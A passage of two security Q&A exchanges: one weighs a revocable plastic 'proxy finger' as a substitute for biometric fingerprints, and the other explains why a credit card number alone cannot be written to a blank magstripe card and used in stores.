impossible to revoke. Once my fingerprint, under whichever form, is stolen, I can't put it on a worldwide revocation list, as doing so would block both malicious use and my own legitimate use.

Looking at how easy it is to make a false fingerprint or iris image using a standard printer, I have an idea on how to avoid exposing my personnal attributes to the risk of being stolen.

How technically feasible would it be for anyone to make oneself a proxy identificator built on the following basic procedure :

A good quality random generator builds a unique fingerprint mathematical number, in exchange of presentation of multiple proofs of identity and
registration of personal secret information. A unique random fingerprint
will be generated as the fingerprint image of a private part of a traditional private-public key.
This unique mathematical design is printed on a solid plastic false finger: a proxy finger with a solid ring to fix it on my key ring. This will be used as a fingerprint image of my private key and used in a traditionnal private-public key pair matching authentication.
I use this proxy finger to identify myself in place of my real finger.
In case my proxy-finger get stolen (physically or through any of its stored verification mechanisms), I declare it as revoked through its unique number on a worldwide revocation list.
GOTO step 1.

The whole point of resorting to biometrics, i.e. taking physical measures out of a body part of the human user, is that the said body part is attached to the user, and cannot be switched at will (it can, unfortunately, be removed, but not really glued back).

It is true that the impossibility to revoke biometrics is an inherent problem, for which no good solution is known (yet). However, if you side-step the issue by using an external device, such as your fake finger, then why do something as crude as imitating a human finger ? It would be much simpler, and much safer, to admit that you are now using device-based security ("something you own" as opposed to "something you have") and make the device a smart card or something similar. This is not even a new idea; for instance, in Japan, they use seals for signatures. Your proxy-finger is just a Japanese seal in the form factor of an Halloween prop.


Can a magnetic credit card writer encode a blank card based off just a credit card number? I was wondering what info is stored in the CC mag strip. For example: if someone got a hold of by CC number, just the numbers-no CCV, no exp date, etc... it is pretty hard to use my credit card for online purchases as most places require things like exp date, CCV, etc...

If someone got a hold of just my CC number though, is that enough info to use a magstrip writer like this this be able to write my data to a physical card to then be used like a normal one in a physical store?

Could someone write just your card number to a blank card? Yes. But would that let them masquerade as you and charge up your account by swiping that card at point of sale machines in brick and mortar stores? No. Mainly because, when a transaction is sent from a point of sale machine to a card processor for validation, they require data besides the card number (just like you mention for online transactions). Those other required data elements are also written to the mag stripe, in addition to the account number, on a valid card.

Credit card mag stripes contain three tracks - the first two are essentially standard, and describe your account (including account number, expiration date, your full name, country code, etc). Those two tracks are what's used to actually process a transaction when the card is swiped, and essentially replicate the info you're used to typing in when using your card online.

The third track is largely unused, and when it is used, the info stored there varies bank to bank - sometimes including things like PIN numbers, or ID numbers associated with rewards programs, or your max line of credit, or other info. It's essentially unimportant in the scenario of validating a transaction at a point of sale machine, though.